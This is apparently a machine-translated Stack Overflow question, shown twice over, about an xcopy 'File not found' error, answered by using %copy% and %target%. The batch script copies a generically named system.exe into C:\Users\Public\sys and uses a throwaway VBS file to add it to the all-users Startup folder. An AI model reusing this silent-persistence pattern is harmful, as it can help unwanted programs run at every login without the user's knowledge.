未找到 xcopy 文件
xcopy File Not Found
我正在尝试使用 .bat 文件中的 xcopy 将文件 system.exe 复制到文件夹。这是代码。 system.exe 文件与 .bat 文件位于同一目录中。
md "C:\Users\Public\sys\"
set copy="%~dp0system.exe"
set target="C:\Users\Public\sys\"
xcopy /c copy target /i /r /f
这个我也试过了
xcopy /c "copy" "target" /i /r /f
还有这个。
xcopy /c "%~dp0system.exe" "C:\Users\Public\sys\" /i /r /f
所有人都给出了相同的回答
File not found
前两次尝试给出
File not found - copy
如果以上行成功,.bat 中的以下行将在启动文件夹中创建 system.exe 副本的快捷方式。
set SCRIPT="%TEMP%\%RANDOM%-%RANDOM%-%RANDOM%-%RANDOM%.vbs"
echo Set oWS = WScript.CreateObject("WScript.Shell") >> %SCRIPT%
echo sLinkFile = "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup\startup.lnk" >> %SCRIPT%
echo Set oLink = oWS.CreateShortcut(sLinkFile) >> %SCRIPT%
echo oLink.TargetPath = "C:\Users\Public\sys\system.exe" >> %SCRIPT%
echo oLink.Save >> %SCRIPT%
cscript /nologo %SCRIPT%
del %SCRIPT%
这就是我希望实现的。任何帮助表示赞赏。
添加:
我运行 .bat 作为管理员
你必须使用这个 %copy%
和 %target%
编辑:@aschipfl 先得到它。不好意思没先看你的评论
我正在尝试使用 .bat 文件中的 xcopy 将文件 system.exe 复制到文件夹。这是代码。 system.exe 文件与 .bat 文件位于同一目录中。
md "C:\Users\Public\sys\"
set copy="%~dp0system.exe"
set target="C:\Users\Public\sys\"
xcopy /c copy target /i /r /f
这个我也试过了
xcopy /c "copy" "target" /i /r /f
还有这个。
xcopy /c "%~dp0system.exe" "C:\Users\Public\sys\" /i /r /f
所有人都给出了相同的回答
File not found
前两次尝试给出
File not found - copy
如果以上行成功,.bat 中的以下行将在启动文件夹中创建 system.exe 副本的快捷方式。
set SCRIPT="%TEMP%\%RANDOM%-%RANDOM%-%RANDOM%-%RANDOM%.vbs"
echo Set oWS = WScript.CreateObject("WScript.Shell") >> %SCRIPT%
echo sLinkFile = "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup\startup.lnk" >> %SCRIPT%
echo Set oLink = oWS.CreateShortcut(sLinkFile) >> %SCRIPT%
echo oLink.TargetPath = "C:\Users\Public\sys\system.exe" >> %SCRIPT%
echo oLink.Save >> %SCRIPT%
cscript /nologo %SCRIPT%
del %SCRIPT%
这就是我希望实现的。任何帮助表示赞赏。
添加:
我运行 .bat 作为管理员
你必须使用这个 %copy%
和 %target%
编辑:@aschipfl 先得到它。不好意思没先看你的评论